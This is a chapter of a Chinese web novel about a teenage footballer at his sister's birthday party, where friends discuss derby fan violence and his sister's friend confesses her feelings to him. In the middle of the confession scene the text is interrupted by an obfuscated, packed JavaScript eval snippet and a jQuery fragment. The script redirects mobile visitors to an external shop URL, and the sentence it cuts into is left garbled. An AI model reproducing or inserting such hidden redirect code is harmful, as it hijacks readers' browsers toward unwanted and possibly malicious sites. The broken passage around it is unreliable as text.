桌上足球台被搬到了院子正中央，一群人围着玩到蓝牙音箱换了一轮歌单。
马尔科被灌了好几杯柠檬水以后，捂着肚子说再喝要死了，把足球台的位置让给了旁边跃跃欲试的两个小男孩。
小男孩站在桌上足球台两侧，手忙脚乱地转着操纵杆。
球在台子上乒乒乓乓乱撞，撞到第三轮，终于进了，却是个乌龙球。
“啊啊啊啊啊！”小男孩尖叫，“我进了我自己的门！”
所有人笑成一团。
西尔维奥坐在旁边的串灯下，手里捏着半杯可乐，跟朋友们有一搭没一搭地聊天。
今晚，马尔科的话尤其多：“西维我跟你说，自从你走后，学校里那些同学都疯了，特别是你那个前女友……”
“马尔科！”
西尔维奥打断，不太愿意听他提起原主以前的事情……好吧，其实是不知道该怎么接话，怎么回应。
马尔科看了看他的神色，只好尬笑着转移话题：“听说你们下一场德比的门票已经卖完了？我表哥说他去买票的时候，售票窗口都排了二十几个人！”
“都灵德比一直都这样，”阿布难得主动开口，“以前尤文跟都灵踢的时候，还经常有球迷在场外打架。”
“这我倒知道，场外打架都是小事，你们还记得15年纸炸弹袭击球场的那场都灵德比吗？我爸爸也在场，差点就受伤了！从那以后他就再也不去现场看球赛！”
“哎，谁让全世界的球迷都疯狂？”艾哈迈德耸耸肩，“毕竟是世界第一运动，淡定淡定。”
西尔维奥犹豫：“这次我们只是青训联赛，球迷们大概……也许……可能……不会这么疯狂吧？”
这话一出，旁边一直沉默听着的费德里科瞬间轻轻嗤笑了声，开口。
“得看从什么方面说……一线队有大量防暴警察，看台隔离完善，反而约束得住；反观青训比赛的球场小，安保人手少，没有那么严密的隔离，ultra团体不一定会过来，但城市里的对立情绪会传染过来……”
他顿了顿。
“不一定会闹到重伤那种地步，但辱骂、挑衅之类的，随时可能发生，一旦情绪上头，谁也说不准究竟会闹到什么地步……前两年U19德比，赛前场外两边球迷直接起了冲突，有人扔石块和烟花，最后警方出动防暴队才制止住……还有更早的一场德比，忘了哪一年了，反正我记得尤文是客队，结果替补席被砸了玻璃。”
马尔科愣住，咂舌半天：“我的天……踢个青年赛还要这么提心吊胆？”
“不然你以为为什么每次德比战前，教练们都会反复强调全员统一大巴往返、赛后不准单独离队？”艾哈迈德再次接话。
“哎可惜了，”马尔科拍拍自己的肚皮：“我倒也想尝一下被对方球迷辱骂嘘声的滋味儿，可惜以我现在这体型，只能坐在看台上为你们加油了。”
西尔维奥忍不住伸手拍了下他的肚皮：“来踢一个赛季，场场首发，踢完保证你瘦十公斤，至少！”
马尔科闻言面露恐惧，摆手拒绝：“算了算了！足球和披萨，我还是选择伟大的披萨！”
阿布本来正在玩手机，这时忽然抬头说了一句：“里瓦说卢西亚诺又在搞事情了。”
安静了几秒。
“什么事情？”费德里科率先询问。
阿布看他一眼，回答：“让他们在德比的时候不要给西维传球。”
瞬间，所有人看向西尔维奥。
西尔维奥面无表情。
他还能说什么？说这个人太烦了要不我们去把他打一顿？
阿布想了想：“要不……告诉教练？”
艾哈迈德“哼哼”了两声：“你真以为教练不知道？”
“那他为什么不出面？”
“我猜，可能是因为如果他出面了，其他人就会更不服气西维……或者，这种小摩擦还没影响到球场比分？当然，可能还有其他原因，你们知道的，教练如果强硬打压处罚他们，他们那一群人你们又不是不知道，很可能直接球场摆烂……”
“我觉得还有原因，”阿布加入分析，“教练他有点老思想，总觉得解决更衣室矛盾是一名优秀球员的必备职业修养，如果连客场嘘声、对手挑衅、更衣室矛盾都处理不了，那以后也一定扛不住职业足坛。”
费德里科听着，忽然插言：“他应该在冬歇期就会转去一个意乙球队。”
“谁？”
“卢西亚诺。”
“啊？”艾哈迈德嘴巴成了圆形，不敢置信，却隐隐有着兴奋，“真的？”
费德里科没有再回答，反而转向西尔维奥询问：“你状态好点了？”
西维愣了愣：“什么？”
费德里科的神情认真：“你之前，尤其是对阵帕玛尔的那场比赛，像丢了魂，现在看起来好多了。我听说教练有意向让你转向边前腰的位置，跟你谈了没有？”
西尔维奥更愣了：“啊？前腰？你怎么知道？他没跟我谈啊……”
费德里科“噢”了声，“那可能是因为你的状态不算好吧，还没来得及找你谈吧。”
马尔科伸手拍拍西尔维奥的肩膀：“别在意那些骂你的人！西维，每一个球星都会有人骂，我看了你账号下的评论，你主要是受了克里斯蒂亚诺的连累！真的！”
费德里科闻言，皱了皱眉，开口刚想说什么，就被艾哈迈德用眼神制止，并示意他看向一个方向——
旁边，几个琪亚拉的同学在假装玩手机，实则耳朵全竖着在听。
有一个甚至悄悄举起手机，镜头悄悄对着他们这边。
于是大家都默契地转移话题，聊起其他无关紧要的东西。
……
蛋糕被端上来的时候，全场欢呼。
是个双层巧克力蛋糕，顶上插着十五根彩色蜡烛。
琪亚拉在火光里闭眼许愿的时候，睫毛被光映得一闪一闪的。
西尔维奥站在人群后面，拿手机拍她。
许完愿，琪亚拉深吸一口气——
“呼！”
蜡烛灭了一半。
“哎呀没吹完！”她急了，“哥你帮我吹！”
“你许的愿你让我吹？”
“你帮我吹剩下的！快点！不然愿望不灵了！”
西尔维奥无奈弯腰，凑过去呼了一下。
剩下的几根蜡烛摇曳了几下灭了。
琪亚拉高兴地拍手，然后转身拆礼物。
纸袋一个接一个拆开，连衣裙、耳环、护手霜、一本足球明星写真集，封面是C罗。
“天哪！”琪亚拉抱着写真集尖叫，“你们怎么知道我想要这个！谁送的！”
索菲亚举手：“我！我让玛蒂娜帮你挑的！”
人群后面，玛蒂娜坐在一张椅子上，穿了一条淡粉色连衣裙，闻言有点不好意思地笑。
她今天一直很安静。
西尔维奥忙这忙那的时候，余光注意到她很多次偷偷看过来，但他假装没发现。
礼物拆完，琪亚拉忽然拍了两下手，清了清嗓子说：“好啦好啦，现在轮到我的重头戏了！”
说完，她拨开人群，拽着玛蒂娜的手把她拉到了中间。
玛蒂娜整个人僵住！耳朵“腾”地红透。
“你干什么……”
“别说话！”琪亚拉把她往前推了一步，“来，玛蒂娜，你不是有话要跟我哥说吗？”
院子刹那安静！
所有人都齐刷刷地看向西尔维奥和玛蒂娜！
西尔维奥整个人像被按了暂停键。
不是吧不是吧？
他脑子里疯狂刷过弹幕：
我靠妹妹这不是你生日吗你怎么忽然给我来这一手你是我亲妹吗你这是要让我当众处刑你是我妹还是我仇人啊……
玛蒂娜被推到人群中间的时候，脸已经红到耳根了，嘴唇抿了又抿，站在那里像一个快要爆炸的小番茄。
全场安静
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760957|209599||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
如鸡。
连音箱里的歌都不知道什么时候被换成了一首缠绵悱恻的情歌。
“我……”玛蒂娜的声音小得像蚊子哼哼，“西维……”
西尔维奥下意识站直了身体。
“……那个……你……”玛蒂娜咬了咬嘴唇，深吸了一口气，“我想告诉你……”
西尔维奥感觉自己心跳飞快。
别说出来别说出来拜托你别说出来！
但所有人都听见了。
“……我喜欢你。”
西尔维奥无比绝望，脑子里闪过一万种处理方式。
但似乎每一种都会把玛蒂娜弄哭？
“呃……”不知过去多久，他终于开口，“玛蒂娜。”
她抬头看他。
西尔维奥往前走了一步，伸出手，轻轻拍了拍她的头顶，像是在安抚一只小猫。
“谢谢你，真的，我特别感谢。”
他停顿了一下，酝酿着措辞。
“但你知道我现在的生活什么样吗？训练，比赛，训练，比赛。我连睡觉的时间都不够。我有时候觉都没时间睡，而且……你才十五岁，你以后会遇到比我好一万倍的人。”
他笑了一下，尽量让那个笑容看起来真诚又不伤人。
“我不想耽误你，也不想让你等一个一年到头都在球场上的蠢蛋。”
玛蒂娜的眼眶红了。
但没哭。
她吸了吸鼻子，声音哑哑地说：“你又不是蠢蛋。”
西尔维奥被她逗笑，又拍了一下她的头顶。
“对，我不是蠢蛋，但你值得更好的。”
人群安静了几秒。
然后有人拍了拍手——
是马尔科。
然后旁边的阿布也跟着拍了两下。
然后越来越多的人加入进来。
不是起哄的掌声，而是那种“处理得很好哥们”的鼓励性鼓掌。
玛蒂娜眼睛还红着，但嘴角已经翘了起来。
“……那你能不能跟我合张照？就一张。”
“行。”
西尔维奥站到她旁边，两人并肩站在串灯底下。
玛蒂娜举着手机，自拍比了个V字，西尔维奥也配合地微微弯了弯腰，笑了一下。
咔嚓。
“好了，”玛蒂娜把手机收起来，小声说，“谢谢你没有让我太难堪。”
“我永远不会让你难堪的，”西尔维奥真心实意地说，“你是我妹妹最好的朋友啊。”
玛蒂娜“嗯”了一声，转身跑回了琪亚拉身边。
琪亚拉立刻抱住她，凑到她耳边低声说了什么。
玛蒂娜在她肩上蹭了蹭眼睛，笑了。
西尔维奥长出一口气，转身走回队友们身边。
艾哈迈德朝他挤眉弄眼：“处理得不错嘛～”
“闭嘴。”
“我是真心的。”
“我说闭嘴！”
艾哈迈德笑着喝了一口果汁。
西尔维奥坐回椅子。
琪亚拉又出现了。
手里多了一顶生日派对专用的金色纸皇冠。
她一把将皇冠扣到西尔维奥头上！
西尔维奥：“……你干什么？”
“给你加冕呀！”
“今天是你生日。”
“所以我送你一顶皇冠呀！”
西尔维奥伸手想摘，琪亚拉却不准他摘，强制要他坐好，要给他拍照。
就在兄妹两个较劲的时候，艾哈迈德已经掏出手机，拿低角度，对准西尔维奥——
“咔嚓！”
西尔维奥：“别发——！”
“发完了。”
西尔维奥的手机上，ins通知刚好弹出来。
艾哈迈德发了个快拍。
照片里，他靠在折叠椅上，头顶金色皇冠，俯视地斜斜看向镜头，右手正要向镜头方向伸过来。
配文：未来的王。